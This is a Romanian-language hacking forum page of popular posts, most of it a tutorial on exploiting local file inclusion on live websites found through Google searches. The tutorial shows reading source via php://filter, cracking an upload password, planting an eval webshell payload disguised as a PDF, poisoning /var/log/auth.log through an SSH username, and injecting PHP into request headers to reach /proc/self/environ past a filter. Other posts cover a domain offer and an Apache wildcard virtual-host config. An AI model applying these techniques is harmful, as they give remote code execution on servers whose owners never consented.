Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 02/13/14 in all areas

  1. Aici este un site care ofera domenii .eu gratuite doar cu conditia de a fi din UK(aici va descurcati voi). http://www.ovh.co.uk/domains/ *: Offer valid until February 28th 2014 **: Offer valid while stocks last until February 28th 2014, limited to 5 domain registrations per customer. Transfers and renewals excluded.
    2 points
  2. In acest tutorial am sa va prezint doua metode de a exploata LFI. Acestea sunt: 1) LFI combinat cu arbitrary file upload 2) LFI cu /var/log/auth.log Dupa ce am dat un search pe google aproximativ 2 ore am gasit 2 LFI-uri care au corespuns criteriilor mele .Pozele sunt cenzurate dar poate am mai scapat ceva indicii;) 1) LFI + arbitrary file upload Aceasta metetoda are la baza un concept simplu.Pe site sa zicem ca exista un LFI si noi nu avem acces la loguri iar allow_http este off ,dar totusi putem include fisiere de pe site.Aa zicem ca pe acelasi site se afla un script de upload poze care nu permite uploadarea fisierelor php ci doar a celor cu extensie .gif sau .jpg .Ce putem face? Pai uploadam un fisier cu extensie permisa dar continutul sa fie un shell:D.Tin sa mentionez ca aceasta metoda nu functioneaza daca doar se pot citi fisiere (Source code Discloure) ci doar cele care au in spate functia include( sau functia require( require_once( etc.. Am pregatit in continuare un exemplu : Avem urmatorul LFI: http://s28.postimg.org/n7070anek/image.jpg Am reusit cu succes sa includem fisierul /etc/passwd. Dupa ce am cercetat putin site-ul am gasit un formular unde administratorul poat uploada fisiere PDF dar nu pot fi urcate fisiere cu alta extesie. Dar se pare ca nu putem uploada fisiere daca nu introducem o parola prestabilita:P.Ce am facut? Pai m-am folosit de metoda php://filter pentru a citi sursa pagini uploadform.php. php://filter/convert.base64-encode/resource=fisier.php Dupa cum stiti aceasta metoda presupune preluarea continutului fisier.php encodarea lui in base64 si afisarea lui in pagina.Daca cautati prin posturile mele gasiti si un tutorial pe aceasta tema. Dupa ce am executat injectia am obtinut continutul in base64 http://s28.postimg.org/n7070anek/image.jpg Iar dupa acea l-am decodat. Dar se pare ca parola pe care o vrem sa o obtinem nu se afla in acest fisier ci in upload.php:)) Ok am executat aceasi injectie pentru a citi continutul fisierului upload.php . Si bingo am obtinut parola care este encodata in md5.Dupa ca am dat un search pe google am aflat ca aceast hash ascunde in spate parola upload1 . Am creat un fisier pdf.pdf in care am pus un cod php. <?php eval($_GET['a']); ?> Acest cod ne v-a crea un Remote Code Execution cu care putem face practic orice. Iar apoi l-am uploadat cu parola respectiva. Dupa care am aflat unde s-a urcat pdf-ul http://s2.postimg.org/cpn3ty8a0/image.jpg Acuma nu imi mai ramane nimic de facut decat sa includ acel fisier si sa vad rezultatul. Rezultatul a fost dezamagitor pentru ca administratorul a dezactivat functia phpinfo(); Dar totusi Remote Code Execution am reusit sa il injectez:D. De ce s-a executat codul php? Pentru ca include si pentru ca php. Pai in documentatia PHP la functia include nu se zice nicaieri ca este impusa o extesie anume pe care avem voie sa o includem poate fi si .php poate fi .pdf si poate fi .jpg de ce nu ,atata timp cat acolo se afla un cod php functia il v-a executa. 2) LFI cu /var/log/auth.log Aceasta metoda se foloseste de log poisoning.Pentru cei care nu stiu var log auth.log este un fisier cu loguri.Dar in acest fisier cu loguri nu se mai pastreaza loguri despre traficul HTTP,ci traficul si tentativele de logare de pe protocolul SSH.Mai exact daca noi ne vom conecta prin putty la un site anume si ne vom loga cu un username si parola gresita,in /var/log/auth.log v-a aparea ca userul cutare cu ip-ul cutare a incercat sa se logheze pe ssh. Am pregatit si un mic exemplu: Avem urmatorul LFI: http://s28.postimg.org/dmm2twlbw/image.jpg Ok acuma vom verifica existenta ecestui fisier /var/log/auth.log Principiul este simplu daca noi am putut include fisierul var/log/auth.log inseamna ca daca ne am loga pe ssh si am incerca un user gen <?php echo 1; ?> in acel fisier se v-a inregistra tentativa noastra de logare si daca vom inrca sa includem din nou fisierul /var/log/auth.log acel cod php v-a fi executat. Dupa ce m-am asigurat ca portul ssh este deschis am deschis putty si m-am logat cu username-ul :<?php eval($_GET['a']); ?> dupa cum se observa mai jos: http://s30.postimg.org/8faonucy9/image.png Deci m-am logat cu utilizatorul de mai sus si evident ca tentativa de logare a fost inregistrata in fisierul /var/log/auth.log.Acuma daca incerc sa includ din nou fisierul /var/log/auth.log cu parametrul GET a=phpinfo(); ce voi obtine v-a fi asta: http://s23.postimg.org/p8gkd5gvu/image.jpg Acuma la urma am sa va mai arat un demo tot cu log poisoning dar de data asta cu proc/self/environ.Stiu ca mai exista n tutoriale despre proc/self/environ dar acesta este altceva pentru ca nu vom putea injecta codul php in user agent. Deci am pregatit un alt exemplu si avem urmatorul LFI: http://s3.postimg.org/evzgmtpv7/image.png Ok verificam daca exista /proc/self/environ: http://s29.postimg.org/5p285v1mu/image.jpg Totul e bine continutul lui proc/self/environ este afisat dar uitati ce se intampla cand vom incerca sa injectam codul malitios in user agent: http://s7.postimg.org/7pcbc0im3/image.png Nu vom putea face url encode pentru a trece de filtru pus pe <> pentru ca daca vom introduce %3c spre exemplu acesta v-a fi introdus in proc self inviron exact asa cum este %3c si nu se v-a mai executa codul php.Ce putem face:-/? Administratorul site-ului a pus filtru pe useragent dar el nu stie ca orice header trimis ca cerere catre server este inregistrat in proc/self/environ;) Deci voi incerca sa injectez codul in headerul Accept: ... http://s13.postimg.org/5z2yfdqae/image.jpg Si rezultatul v-a fi acesta.Nu conteaza in ce header injectati codul php poate fi Accept-Encoding: sau Accept-Language: acesta v-a fi inregistrat in fisierul /proc/self/environ. Cam atat am avut de prezentat sper sa va fi fost de folos si sa fi placut daca da apasati butonul de like:D Am sa mai rectific sa corectez eventuale greseli gramaticale.
    2 points
  3. Luam si noi un host din asta nelimitat sa punem 5TB de carti? Ca daca tot e nelimitat...
    1 point
  4. Sa nu mai spui ca statul nu ofera nimic.
    1 point
  5. Daca aveti un domeniu pe care faceti multe subdomenii pentru development sau mai multe domenii pe doriti sa le mapati ca hosturi virtuale fara sa fie necesar sa dati reload la apache sau sa fiti nevoiti sa adaugati vhost-ul in fisierul de configurare, atunci tutorialul acesta va este de folos. Sa prespupunem ca aveti un domeniu, de exemplu, "rstcenter.com" iar in home user aveti un director www. Structura directoare: /home /home/tex /home/tex/www /home/tex/www/devel1.rstcenter.com /home/tex/www/devel2.rstcenter.com /home/tex/www/devel3.rstcenter.com /home/tex/www/books.rstcenter.com /home/tex/www/tools.rstcenter.com ............. Aveti de facut un singur virtual host in apache, apoi orice director creat dupa structura de mai sus, va putea fi utilizat ca virtual host, fara sa fiti nevoiti sa dati restart/reload sau sa adaugati ceva in apache. Virtual host: <VirtualHost> DocumentRoot /home/tex/www ServerAdmin webmaster@stfu.ro ServerName rstcenter.com ServerAlias *.rstcenter.com CustomLog logs/access_log combined ErrorLog logs/error_log RewriteEngine On RewriteMap lowercase int:tolower RewriteRule ^/(.*)$ /home/tex/www/${lowercase:%{SERVER_NAME}}/$1 </VirtualHost> Imi era lene sa tot adaug vhost-uri si sa dau reload pentru un amic cu un buncar de subdomenii utilizate la development. Cu asta, imi pot bea linistit cafelele
    1 point
  6. XSS-ul a fost raportat acum astept raspunsul de la ei. Cred ca ma incadrez la 200 $
    -1 points
×
×
  • Create New...